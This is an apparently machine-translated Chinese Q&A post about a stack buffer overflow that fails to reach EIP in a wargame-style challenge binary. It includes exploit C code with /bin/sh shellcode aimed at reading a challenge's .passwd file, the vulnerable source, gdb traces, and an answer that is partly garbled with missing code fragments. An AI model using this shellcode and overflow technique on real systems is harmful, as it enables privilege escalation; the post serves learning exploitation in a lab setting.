缓冲区溢出不会达到eip

时间:2015-07-22 09:25:52

标签: c buffer-overflow

嗨,我真的坚持这个问题:这是我的代码,在我尝试溢出的代码下面:

#include <stdio.h>
#define B 145 // 141 for ex overflow
#define A 0

char sc[]=
        "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
        "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
        char *env[2] = {sc, NULL};
        char buf[B];
        int     i;
        int     *ap = (int*)(buf + A);
        int     ret = 0xbffffffa - strlen(sc) - strlen("/challenge/app-systeme/ch10/ch10");
        FILE    *file;

        for (i = 0; i < B - 4; i += 4)
        {
               if (i == 136)
                        *ap++ = 0xbffffc64;
                else if (i == 98)
                {
                        *ap++ = "/challenge/app-systeme/.passwd";//edx
                }
                else
                {
                        if (i >= 50)
                        *ap++ = 0x42424242;
                        else if (i < 50)
                        *ap++ = 0xbfffffb1;//0x45454545;
                }
        }

        file = fopen("/tmp/toto/COUCOU", "a+");
        fprintf(file, "%s%s", "USERNAME=", buf);
        fclose(file);

        printf("AAAAWESOME");
        execle("/challenge/app-systeme/ch10/ch10", "ch10", "/tmp/toto/COUCOU", NULL, env);
}

易受攻击的代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFER 512

struct Init
{
    char username[128];
    uid_t uid;
    pid_t pid;

};

void cpstr(char *dst, const char *src)
{
    for(; *src; src++, dst++)
    {
        *dst = *src;
    }
    *dst = 0;
}
void chomp(char *buff)
{
    for(; *buff; buff++)
    {
        if(*buff == '\n' || *buff == '\r' || *buff == '\t')
        {
           *buff = 0;
            break;
        }
    }
}
struct Init Init(char *filename)
{

    FILE *file;
    struct Init init;
    char buff[BUFFER+1];


    if((file = fopen(filename, "r")) == NULL)
    {
        perror("[-] fopen ");
        exit(0);
    }

    memset(&init, 0, sizeof(struct Init));

    init.pid = getpid();
    init.uid = getuid();

    while(fgets(buff, BUFFER, file) != NULL)
    {
        chomp(buff);
        if(strncmp(buff, "USERNAME=", 9) == 0)
        {
            cpstr(init.username, buff+9);
        }
    }
    fclose(file);
    return init;
}
int main(int argc, char **argv)
{
    struct Init init;
    if(argc != 2)
    {
        printf("Usage : %s <config_file>\n", argv[0]);
        exit(0);
    }
    init = Init(argv[1]);
    printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);

    return 0;
}

实际上我无法达到eip,因为gdb通常会显示发生在循环中的段错误:

esi是第一个在溢出后被击碎的记录,但我仍然没有得到满足的东西。

此时这是一个缓冲区大小,我甚至可以填充edi和edx,但仍然适用于什么?

eip仍无法访问吗?

通常很好:

gdb$ r
process 14534 is executing new program: /challenge/app-systeme/ch10/ch10

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000000  EBX: 0xB7FCFFF4  ECX: 0x42424242  EDX: 0x42424242  o d I t s z a P c 
  ESI: 0xBFFFFC64  EDI: 0x000001FF  EBP: 0xBFFFFC64  ESP: 0xBFFFF8EC  EIP: 0xB7E9CD88                                     
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7e9cd88:  mov    ecx,DWORD PTR [edx+0x8]
   0xb7e9cd8b:  mov    edx,DWORD PTR [edx]
   0xb7e9cd8d:  cmp    eax,ecx
   0xb7e9cd8f:  cmovg  eax,ecx
   0xb7e9cd92:  test   edx,edx
   0xb7e9cd94:  jne    0xb7e9cd88
   0xb7e9cd96:  repz ret 
   0xb7e9cd98:  nop
--------------------------------------------------------------------------------
0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$ bt
#0  0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0xb7e9cdc4 in ?? () from /lib/i386-linux-gnu/libc.so.6
#2  0xb7e9d2e4 in __uflow () from /lib/i386-linux-gnu/libc.so.6
#3  0xb7e90d3a in _IO_getline_info () from /lib/i386-linux-gnu/libc.so.6
#4  0xb7e90c83 in _IO_getline () from /lib/i386-linux-gnu/libc.so.6
#5  0xb7e8fc20 in fgets () from /lib/i386-linux-gnu/libc.so.6
#6  0x08048685 in Init (filename=0xbfffffb1 "/tmp/toto/COUCOU") at binary10.c:56
#7  0x08048716 in main (argc=0x2, argv=0xbffffed4) at binary10.c:75

好吧,似乎我忘了提到二进制文件的部分RELRO状态。

欢迎光明了。

    (gdb) disas __uflow
    Dump of assembler code for function __uflow:
       0xb7e9d270 <+0>:     push   %esi
       0xb7e9d271 <+1>:     push   %ebx
  ...
       0xb7e9d37c <+268>:   lea    0x0(%esi,%eiz,1),%esi
    => 0xb7e9d380 <+272>:   movzbl (%edx),%eax
       0xb7e9d383 <+275>:   add    $0x1,%edx
 ...
       0xb7e9d3b3 <+323>:   call   0xb7e92ca0
       0xb7e9d3b8 <+328>:   jmp    0xb7e9d2b1 <__uflow+65>
    End of assembler dump.
    (gdb) x/i $eax
       0xb7e9c588 <_IO_file_overflow+424>:  add    %bh,-0x1(%eax)
    (gdb) vim ok
    Undefined command: "vim".  Try "help".
    (gdb) x/i $edx
       0x806c000:   Cannot access memory at address 0x806c000
    (gdb)

有什么东西可以检测到溢出?

嗯,这已经解决了。但相信我,我不知道我做了什么,如果有人能教给我们所有的教训他会受欢迎。

1 个答案:

答案 0 :(得分:0)

我没有对其进行详细分析,但似乎您init中没有main()溢出,init中的Init()溢出,但其证明具有弹性溢出因为它之后保留了513字节的缓冲区,使您与要攻击的敏感调用堆栈信息隔开。

一旦Init()通过复制操作将此结构返回到main(),只会复制sizeof(struct Init)个字节,因此它不会将漏洞级联到您要攻击的函数。

我相信如果您想要在不受任何干扰的情况下触发漏洞,您应该直接覆盖main()的{​​{1}},将其作为指针传递给init,就像Init()